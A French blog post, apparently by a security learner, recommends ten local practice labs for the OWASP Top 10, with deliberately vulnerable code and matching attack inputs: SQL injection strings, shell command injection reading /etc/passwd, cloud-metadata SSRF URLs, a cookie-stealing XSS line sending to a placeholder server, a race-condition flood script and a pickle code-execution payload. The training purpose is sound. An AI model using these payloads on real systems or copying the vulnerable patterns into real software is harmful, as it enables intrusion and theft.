10 Labs Pratiques pour Maîtriser l'OWASP Top 10 : Mon Guide Terrain👽

Après ma formation intensive sur l'OWASP Top 10, on m'a souvent demandé : "OK, mais concrètement, par où je commence ?". Alors voilà, je vous partage mes labs préférés – ceux qui m'ont vraiment fait comprendre les vulnérabilités, pas juste les connaître.

Les Plateformes Complètes (Pour Démarrer en Douceur)

1. OWASP WebGoat : Mon Premier Amour

Ce que c'est : Une application Java délibérément vulnérable créée par l'OWASP elle-même. C'est gratuit, open-source, et ça tourne en local.

Pourquoi je l'adore :

Des leçons guidées étape par étape
Des hints quand tu bloques (et crois-moi, tu vas bloquer)
Couvre tout le Top 10 avec des exercices progressifs

Mon lab préféré ici : L'exercice sur les JWT. Tu commences avec un token valide, tu apprends à le décoder, puis à le modifier. La première fois que j'ai réussi à me transformer en admin en changeant juste "role": "user" en "role": "admin" et en utilisant l'algorithme "None", j'ai eu un déclic. C'était tellement simple que ça en devenait flippant.

Comment l'installer :

bash

# Avec Docker (le plus simple)
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

# Puis ouvre http://localhost:8080/WebGoat

2. DVWA (Damn Vulnerable Web Application) : Le Classique

Ce que c'est : Une appli PHP/MySQL volontairement trouée comme du gruyère. Quatre niveaux de difficulté : low, medium, high, impossible.

Pourquoi c'est génial : Tu peux voir exactement le même code source avec différents niveaux de protection. Tu comprends pourquoi une défense fonctionne ou pas.

Mon lab préféré ici : Le SQL Injection en mode low. C'est brutal, direct, sans filtre. Tu tapes ' OR '1'='1 dans le champ User ID et BAM, toutes les données. Puis tu passes en mode medium et tu dois contourner les protections. C'est comme un puzzle qui devient progressivement plus complexe.

Setup rapide :

bash

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Login: admin / password

Les Labs Spécifiques (Quand Tu Veux Creuser)

3. Le Lab IDOR Maison : Construis ta Propre Vulnérabilité

Projet : Crée une mini API REST avec des profils utilisateurs.

Ce que j'ai fait :

javascript

// Version vulnérable (Node.js/Express)
app.get('/api/user/:id', (req, res) => {
    const userId = req.params.id;
    // Pas de vérification si l'user connecté peut accéder à cet ID
    db.query('SELECT * FROM users WHERE id = ?', [userId], (err, result) => {
        res.json(result);
    });
});

L'exercice :

Crée 3 comptes utilisateurs
Connecte-toi avec le compte #1
Change manuellement l'ID dans l'URL pour accéder au profil #2 et #3
Maintenant, corrige le code pour empêcher ça

Pourquoi ça marche : Parce que c'est TON code. Tu vois exactement où est le trou. Et quand tu le corriges, tu comprends vraiment la logique de vérification d'accès.

4. Le Lab Command Injection avec Python

Projet : Un simple outil de "ping" web.

Code volontairement vulnérable :

python

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/ping')
def ping():
    host = request.args.get('host')
    # DANGER : Injection directe
    result = os.system(f'ping -c 4 {host}')
    return f"Ping exécuté vers {host}"

L'exercice :

Teste normalement : http://localhost:5000/ping?host=google.com
Maintenant essaie : ?host=google.com; ls -la
Ou encore : ?host=google.com && cat /etc/passwd
Flippant, non ? Tu viens d'exécuter des commandes arbitraires
Corrige avec une validation stricte ou un subprocess sécurisé

Ma révélation : La première fois que j'ai vu le contenu de /etc/passwd s'afficher, j'ai réalisé la puissance destructrice d'une simple concatenation de string.

5. Le Challenge JWT : Casse Tes Propres Tokens

Projet : Crée un système d'authentification avec JWT.

Mon lab en 3 étapes :

Étape 1 - Version ultra-vulnérable :

javascript

// Ne JAMAIS faire ça en prod !
app.post('/login', (req, res) => {
    const token = jwt.sign(
        { userId: 1, role: 'user' },
        'secret123',  // Secret faible
        { algorithm: 'HS256' }
    );
    res.json({ token });
});

Exercice :

Utilise jwt.io pour décoder ton token
Change le role en admin
Utilise un outil de brute-force (hashcat, john) pour craquer le secret
Signe ton nouveau token avec le secret trouvé

Étape 2 - L'attaque "None" :

javascript

// Version qui accepte l'algorithme None
app.post('/verify', (req, res) => {
    const token = req.headers.authorization;
    const decoded = jwt.decode(token, { complete: true });
    // Pas de vérification de l'algorithme !
    res.json(decoded);
});

Exercice : Modifie le header du JWT pour utiliser "alg": "none", supprime la signature, et voilà.

Étape 3 - Corrige tout : Implémente les bonnes pratiques et essaie de casser ta propre solution.

6. Le Lab SSRF : Explore Ton Propre Réseau

Projet : Un "URL Fetcher" qui récupère le contenu d'une URL.

Setup :

python

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    # Vulnérable : pas de validation
    response = requests.get(url)
    return response.text

Exercices progressifs :

Teste normalement : ?url=https://example.com
Essaie d'accéder à localhost : ?url=http://localhost:5000/admin
Scan de ports : ?url=http://localhost:3306 (MySQL)
Si tu es sur AWS/Azure : ?url=http://169.254.169.254/latest/meta-data/
Implémente une whitelist et contourne-la avec des redirections

Mon moment "aha" : Quand j'ai réussi à lire mes propres variables d'environnement via un endpoint interne que j'avais complètement oublié. Le SSRF transforme ton serveur en proxy gratuit.

7. Le Lab XSS : Du Basique au Stored

Projet : Un mini "guestbook" ou livre d'or.

Version 1 - Reflected XSS :

php

<?php
// Ne JAMAIS faire ça
echo "Bonjour " . $_GET['name'];
?>

Teste : ?name=<script>alert('XSS')</script>

Version 2 - Stored XSS (plus dangereux) : Un système de commentaires qui stocke en base sans sanitization.

Exercices :

Injecte un simple alert()
Essaie de voler les cookies : <script>fetch('http://ton-serveur.com?c=' + document.cookie)</script>
Contourne les filtres basiques (<img src=x onerror=alert()>)
Implémente CSP (Content Security Policy) et essaie de contourner

8. Le Lab Race Condition : Le Timing est Tout

Projet : Un système de points/crédits avec option de transfert.

Code vulnérable :

python

def transfer_credits(from_user, to_user, amount):
    # Vulnérable : pas de transaction atomique
    balance = get_balance(from_user)
    if balance >= amount:
        time.sleep(0.1)  # Simule un traitement
        deduct_balance(from_user, amount)
        add_balance(to_user, amount)

L'exercice : Utilise Burp Suite ou un simple script pour envoyer 10 requêtes simultanées. Tu devrais pouvoir transférer plus de crédits que tu n'en as.

Script d'attaque :

python

import threading
import requests

def attack():
    for _ in range(10):
        requests.post('http://localhost/transfer', 
                     json={'to': 2, 'amount': 100})

threads = [threading.Thread(target=attack) for _ in range(10)]
[t.start() for t in threads]

9. Le Lab Insecure Deserialization

Projet : Une appli Python avec pickle (DANGER).

Code vulnérable :

python

import pickle
from flask import Flask, request

@app.route('/load')
def load_data():
    data = request.args.get('data')
    obj = pickle.loads(base64.b64decode(data))
    return str(obj)

L'exercice :

python

# Crée un payload malveillant
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('ls -la',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
# Envoie ce payload à ton endpoint

Tu viens d'exécuter du code arbitraire via la désérialisation. Terrifiant, non ?

10. Le Lab Broken Access Control Complet

Projet : Une petite appli de gestion de documents avec rôles.

Scénarios à tester :

IDOR horizontal : User A accède aux docs de User B
IDOR vertical : Un user normal accède à /admin/users
Parameter tampering : Change ?role=user en ?role=admin dans l'URL
Missing function level access : L'UI cache le bouton "Delete" mais l'API ne vérifie pas
Path traversal : /files/../../etc/passwd

Mon setup complet :

javascript

// Trois endpoints à tester
app.get('/document/:id', (req, res) => {
    // Pas de vérification de propriété
});

app.delete('/document/:id', (req, res) => {
    // Accessible même si l'UI cache le bouton
});

app.get('/admin/dashboard', (req, res) => {
    // Pas de vérification de rôle côté serveur
});

Mes Outils Favoris pour les Labs

Burp Suite Community : Pour intercepter et modifier les requêtes HTTP. Indispensable.

OWASP ZAP : L'alternative gratuite à Burp. Parfait pour scanner automatiquement.

Postman/Insomnia : Pour tester les APIs manuellement.

JWT.io : Pour décoder et manipuler les tokens JWT.

SQLMap : Pour automatiser les injections SQL (après les avoir comprises manuellement).

Docker : Pour isoler tes environnements de test. Tu ne veux pas casser ton système principal.

Mon Parcours d'Apprentissage Recommandé

Semaine 1-2 : Les Bases

DVWA en mode "low" pour toutes les vulnérabilités
WebGoat pour les leçons guidées

Semaine 3-4 : Comprendre en Profondeur

Crée tes propres labs vulnérables pour IDOR et Injection
Casse tes propres créations

Semaine 5-6 : Niveau Intermédiaire

JWT lab complet
SSRF et XXE
DVWA en mode "medium"

Semaine 7-8 : Avancé

Race conditions
Deserialization
DVWA en mode "high"
Commence à chaîner les vulnérabilités

La Vérité sur l'Apprentissage

Voilà ce que personne ne te dit : tu vas échouer. Beaucoup. Il m'a fallu trois heures pour réussir ma première injection SQL parce que j'oubliais constamment de fermer mes quotes. J'ai passé une soirée entière sur un SSRF avant de réaliser que je testais sur le mauvais port.

C'est frustrant, c'est humiliant parfois, mais c'est exactement comme ça qu'on apprend. Chaque échec grave la leçon plus profondément dans ton cerveau.

L'État d'Esprit à Adopter

Quand tu fais ces labs, ne te contente pas de suivre les instructions. Pose-toi des questions :

Pourquoi ça marche ?
Qu'est-ce qui se passe côté serveur ?
Comment je détecterais cette attaque dans mes logs ?
Quelle est la correction minimale ? La correction optimale ?
Qu'est-ce qui pourrait encore casser après ma correction ?

C'est cet état d'esprit qui transforme un exercice en vraie compétence.

Mon Conseil Final : Ne fais pas tous ces labs d'un coup comme une checklist. Choisis-en un, passe une semaine dessus. Casse-le de 15 façons différentes. Corrige-le. Essaie de contourner ta correction. Recommence. C'est en itérant sur la même vulnérabilité que tu passes de "je sais ce que c'est" à "je comprends vraiment comment ça fonctionne". Et surtout, documente tout ce que tu fais. Dans six mois, quand tu auras oublié les détails, tes propres notes seront ton meilleur prof. Crois-en mon expérience : j'ai un dossier "labs-notes" qui fait maintenant 200 pages et c'est devenu ma ressource la plus précieuse. 📝🔐

#CyberSecurity #HandsOnLearning #OWASPTop10 #PracticalHacking #WebSecurity #LabsSetup #EthicalHacking #LearnByDoing #InfoSec

CYBER-APPRENANT

lundi 13 octobre 2025